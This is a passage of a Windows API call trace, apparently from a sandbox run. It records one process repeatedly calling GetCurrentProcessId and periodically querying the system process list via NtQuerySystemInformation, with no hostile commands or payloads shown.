0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.150] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.151] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.152] GetCurrentProcessId () returned 0x10c0 [0228.713] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0228.720] GetCurrentProcessId () returned 0x10c0 [0228.720] GetCurrentProcessId () returned 0x10c0 [0228.720] GetCurrentProcessId () returned 0x10c0 [0228.720] GetCurrentProcessId () returned 0x10c0 [0228.720] GetCurrentProcessId () returned 0x10c0 [0228.720] GetCurrentProcessId () returned 0x10c0 [0228.720] GetCurrentProcessId () returned 0x10c0 [0228.720] GetCurrentProcessId () returned 0x10c0 [0228.720] GetCurrentProcessId () returned 0x10c0 [0228.720] GetCurrentProcessId () returned 0x10c0 [0228.720] GetCurrentProcessId () returned 0x10c0 [0228.720] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.721] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.722] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.723] GetCurrentProcessId () returned 0x10c0 [0228.724] GetCurrentProcessId () returned 0x10c0 [0228.724] GetCurrentProcessId () returned 0x10c0 [0228.724] GetCurrentProcessId () returned 0x10c0 [0228.724] GetCurrentProcessId () returned 0x10c0 [0228.724] GetCurrentProcessId () returned 0x10c0 [0228.724] GetCurrentProcessId () returned 0x10c0 [0228.724] GetCurrentProcessId () returned 0x10c0 [0228.724] GetCurrentProcessId () returned 0x10c0 [0228.724] GetCurrentProcessId () returned 0x10c0 [0228.724] GetCurrentProcessId () returned 0x10c0 [0228.724] GetCurrentProcessId () returned 0x10c0 [0228.724] GetCurrentProcessId () returned 0x10c0 [0228.724] GetCurrentProcessId () returned 0x10c0 [0229.334] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.353] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.354] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.355] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.356] GetCurrentProcessId () returned 0x10c0 [0229.357] GetCurrentProcessId () returned 0x10c0 [0229.357] GetCurrentProcessId () returned 0x10c0 [0229.357] GetCurrentProcessId () returned 0x10c0 [0229.928] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.953] GetCurrentProcessId () returned 0x10c0 [0229.954] GetCurrentProcessId () returned 0x10c0 [0229.954] GetCurrentProcessId () returned 0x10c0 [0229.954] GetCurrentProcessId () returned 0x10c0 [0229.954] GetCurrentProcessId () returned 0x10c0 [0229.954] GetCurrentProcessId () returned 0x10c0 [0229.954] GetCurrentProcessId () returned 0x10c0 [0229.954] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.955] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.956] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0229.957] GetCurrentProcessId () returned 0x10c0 [0230.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0230.525] GetCurrentProcessId () returned 0x10c0 [0230.525] GetCurrentProcessId () returned 0x10c0 [0230.525] GetCurrentProcessId () returned 0x10c0 [0230.525] GetCurrentProcessId () returned 0x10c0 [0230.525] GetCurrentProcessId () returned 0x10c0 [0230.525] GetCurrentProcessId () returned 0x10c0 [0230.525] GetCurrentProcessId () returned 0x10c0 [0230.525] GetCurrentProcessId () returned 0x10c0 [0230.525] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.526] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.527] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.528] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0230.529] GetCurrentProcessId () returned 0x10c0 [0231.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0231.094] GetCurrentProcessId () returned 0x10c0 [0231.094] GetCurrentProcessId () returned 0x10c0 [0231.094] GetCurrentProcessId () returned 0x10c0 [0231.094] GetCurrentProcessId () returned 0x10c0 [0231.094] GetCurrentProcessId () returned 0x10c0 [0231.094] GetCurrentProcessId () returned 0x10c0 [0231.094] GetCurrentProcessId () returned 0x10c0 [0231.094] GetCurrentProcessId () returned 0x10c0 [0231.094] GetCurrentProcessId () returned 0x10c0 [0231.094] GetCurrentProcessId () returned 0x10c0 [0231.094] GetCurrentProcessId () returned 0x10c0 [0231.095] GetCurrentProcessId () returned 0x10c0 [0231.095] GetCurrentProcessId () returned 0x10c0 [0231.095] GetCurrentProcessId () returned 0x10c0 [0231.095] GetCurrentProcessId () returned 0x10c0 [0231.096] GetCurrentProcessId () returned 0x10c0 [0231.096] GetCurrentProcessId () returned 0x10c0 [0231.096] GetCurrentProcessId () returned 0x10c0 [0231.096] GetCurrentProcessId () returned 0x10c0 [0231.096] GetCurrentProcessId () returned 0x10c0 [0231.096] GetCurrentProcessId () returned 0x10c0 [0231.096] GetCurrentProcessId () returned 0x10c0 [0231.096] GetCurrentProcessId () returned 0x10c0 [0231.096] GetCurrentProcessId () returned 0x10c0 [0231.097] GetCurrentProcessId () returned 0x10c0 [0231.097] GetCurrentProcessId () returned 0x10c0 [0231.097] GetCurrentProcessId () returned 0x10c0 [0231.098] GetCurrentProcessId () returned 0x10c0 [0231.098] GetCurrentProcessId () returned 0x10c0 [0231.098] GetCurrentProcessId () returned 0x10c0 [0231.098] GetCurrentProcessId () returned 0x10c0 [0231.098] GetCurrentProcessId () returned 0x10c0 [0231.098] GetCurrentProcessId () returned 0x10c0 [0231.098] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] 